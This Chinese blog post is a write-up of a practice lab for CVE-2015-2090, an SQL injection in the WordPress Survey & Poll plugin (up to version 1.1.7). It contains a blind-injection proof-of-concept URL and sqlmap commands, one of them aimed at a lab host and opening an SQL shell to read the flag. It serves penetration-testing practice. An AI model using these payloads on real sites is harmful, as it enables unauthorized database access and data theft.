春秋云镜 CVE-2015-2090

最新推荐文章于 2025-05-16 15:44:32 发布

isbug0

最新推荐文章于 2025-05-16 15:44:32 发布

阅读量429

点赞数

分类专栏：靶场文章标签： web安全安全

本文链接：https://blog.youkuaiyun.com/qq_22002773/article/details/132832568

版权

靶场专栏收录该内容

84 篇文章

订阅专栏

文章描述了WordPress插件WordPressSurvey&Poll1.1.7版本中的SQL注入漏洞，攻击者可通过admin-ajax.php脚本中的未过滤参数进行恶意操作，包括利用POC执行SQL命令并使用Sqlmap工具获取flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

春秋云镜 CVE-2015-2090 wordpress插件 WordPress Survey & Poll – Quiz, Survey and Poll <= 1.1.7

靶标介绍

wordpress插件 WordPress Survey & Poll – Quiz, Survey and Poll <= 1.1.7 p-admin/admin-ajax.php脚本没有充分过滤ajax_survey操作中的 survey_id 参数导致SQL注入。

启动场景

在这里插入图片描述

漏洞利用

exp

 POC
- http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498 [SQLi]
- DataBase() => "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id= 3556498 AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>[Numbers compare]

Sqlmap
- sqlmap -u "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498" -p survey_id --dbms=mysql

python3 sqlmap.py -u “http://eci-2zedttamjkr7hljuymte.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498” -p survey_id --dbms=mysql --sql-shell
在这里插入图片描述
select flag from flag;